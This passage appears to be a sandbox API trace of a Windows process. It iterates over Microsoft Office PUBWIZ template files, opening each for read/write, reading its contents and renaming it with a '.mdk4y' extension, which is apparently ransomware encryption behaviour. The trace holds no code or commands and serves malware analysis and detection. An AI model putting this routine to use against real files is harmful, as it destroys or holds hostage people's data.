(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STORYVERTBB.DPV", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STORYVERTBB.DPVOC", lpUsedDefaultChar=0x37df4c) returned 15 [0254.238] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832946900000) returned 1 [0254.239] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c9a2, lpOverlapped=0x0) returned 1 [0254.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832952500000) returned 1 [0254.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832952500000) returned 1 [0254.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.dpv.mdk4y")) returned 1 [0254.301] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.302] AreFileApisANSI () returned 1 [0254.302] GetACP () returned 0x4e4 [0254.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STORYVERTBB.POC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STORYVERTBB.POC", lpUsedDefaultChar=0x37df4c) returned 15 [0254.302] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832953300000) returned 1 [0254.303] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f7e, lpOverlapped=0x0) returned 1 [0254.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832958300000) returned 1 [0254.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832958300000) returned 1 [0254.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.poc.mdk4y")) returned 1 [0254.355] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.355] AreFileApisANSI () returned 1 [0254.355] GetACP () returned 0x4e4 [0254.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STRBRST.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STRBRST.POC.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0254.355] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STRBRST.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\strbrst.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832958700000) returned 1 [0254.357] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x472, lpOverlapped=0x0) returned 1 [0254.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832958800000) returned 1 [0254.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832958800000) returned 1 [0254.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STRBRST.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\strbrst.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STRBRST.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\strbrst.poc.mdk4y")) returned 1 [0254.361] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.361] AreFileApisANSI () returned 1 [0254.361] GetACP () returned 0x4e4 [0254.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TEAROFF.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TEAROFF.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0254.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TEAROFF.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\tearoff.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832959200000) returned 1 [0254.362] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f6, lpOverlapped=0x0) returned 1 [0254.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832959300000) returned 1 [0254.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832959300000) returned 1 [0254.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TEAROFF.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\tearoff.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TEAROFF.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\tearoff.poc.mdk4y")) returned 1 [0254.365] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.365] AreFileApisANSI () returned 1 [0254.365] GetACP () returned 0x4e4 [0254.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TOC98.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TOC98.POCOC", lpUsedDefaultChar=0x37df4c) returned 9 [0254.365] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TOC98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\toc98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832959500000) returned 1 [0254.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40a0a, lpOverlapped=0x0) returned 1 [0254.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832970100000) returned 1 [0254.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832970100000) returned 1 [0254.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TOC98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\toc98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TOC98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\toc98.poc.mdk4y")) returned 1 [0254.477] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.477] AreFileApisANSI () returned 1 [0254.477] GetACP () returned 0x4e4 [0254.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WCOMP98.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WCOMP98.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0254.477] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WCOMP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wcomp98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832970800000) returned 1 [0254.479] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1eab0, lpOverlapped=0x0) returned 1 [0254.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832978700000) returned 1 [0254.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832978700000) returned 1 [0254.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WCOMP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wcomp98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WCOMP98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wcomp98.poc.mdk4y")) returned 1 [0254.561] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.561] AreFileApisANSI () returned 1 [0254.561] GetACP () returned 0x4e4 [0254.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEB11.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEB11.POCOC", lpUsedDefaultChar=0x37df4c) returned 9 [0254.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEB11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\web11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832979300000) returned 1 [0254.563] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0254.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832991700000) returned 1 [0254.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832991700000) returned 1 [0254.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEB11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\web11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEB11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\web11.poc.mdk4y")) returned 1 [0254.804] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.804] AreFileApisANSI () returned 1 [0254.804] GetACP () returned 0x4e4 [0254.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBCALSO.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBCALSO.POCPOC", lpUsedDefaultChar=0x37df4c) returned 12 [0254.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBCALSO.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webcalso.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833003600000) returned 1 [0254.806] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79f1a, lpOverlapped=0x0) returned 1 [0254.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833018400000) returned 1 [0254.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833018400000) returned 1 [0254.960] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBCALSO.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webcalso.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBCALSO.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webcalso.poc.mdk4y")) returned 1 [0254.963] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.963] AreFileApisANSI () returned 1 [0254.963] GetACP () returned 0x4e4 [0254.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBEMAIL.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBEMAIL.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0254.963] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBEMAIL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webemail.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833019400000) returned 1 [0254.964] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31da, lpOverlapped=0x0) returned 1 [0255.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833029400000) returned 1 [0255.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833029400000) returned 1 [0255.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBEMAIL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webemail.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBEMAIL.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webemail.poc.mdk4y")) returned 1 [0255.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.066] AreFileApisANSI () returned 1 [0255.066] GetACP () returned 0x4e4 [0255.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBHED98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBHED98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0255.067] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833029800000) returned 1 [0255.068] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12a02, lpOverlapped=0x0) returned 1 [0255.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833045600000) returned 1 [0255.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833045600000) returned 1 [0255.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc.mdk4y")) returned 1 [0255.230] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.230] AreFileApisANSI () returned 1 [0255.230] GetACP () returned 0x4e4 [0255.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBHOME.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBHOME.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0255.230] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833046200000) returned 1 [0255.232] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31ca, lpOverlapped=0x0) returned 1 [0255.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833048500000) returned 1 [0255.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833048500000) returned 1 [0255.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc.mdk4y")) returned 1 [0255.258] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.258] AreFileApisANSI () returned 1 [0255.258] GetACP () returned 0x4e4 [0255.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBLINK.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBLINK.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0255.258] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833048900000) returned 1 [0255.259] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34a0, lpOverlapped=0x0) returned 1 [0255.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833069800000) returned 1 [0255.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833069800000) returned 1 [0255.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc.mdk4y")) returned 1 [0255.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.471] AreFileApisANSI () returned 1 [0255.471] GetACP () returned 0x4e4 [0255.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBPAGE.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBPAGE.DPV", lpUsedDefaultChar=0x37df4c) returned 11 [0255.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833070200000) returned 1 [0255.472] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfeb9a, lpOverlapped=0x0) returned 1 [0255.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833084500000) returned 1 [0255.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833084500000) returned 1 [0255.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv.mdk4y")) returned 1 [0255.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.626] AreFileApisANSI () returned 1 [0255.626] GetACP () returned 0x4e4 [0255.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WEBPAGE.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WEBPAGE.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0255.626] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833085700000) returned 1 [0255.627] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d6a, lpOverlapped=0x0) returned 1 [0255.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833091500000) returned 1 [0255.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833091500000) returned 1 [0255.686] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.mdk4y")) returned 1 [0255.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.687] AreFileApisANSI () returned 1 [0255.687] GetACP () returned 0x4e4 [0255.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WITHCOMP.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WITHCOMP.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0255.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 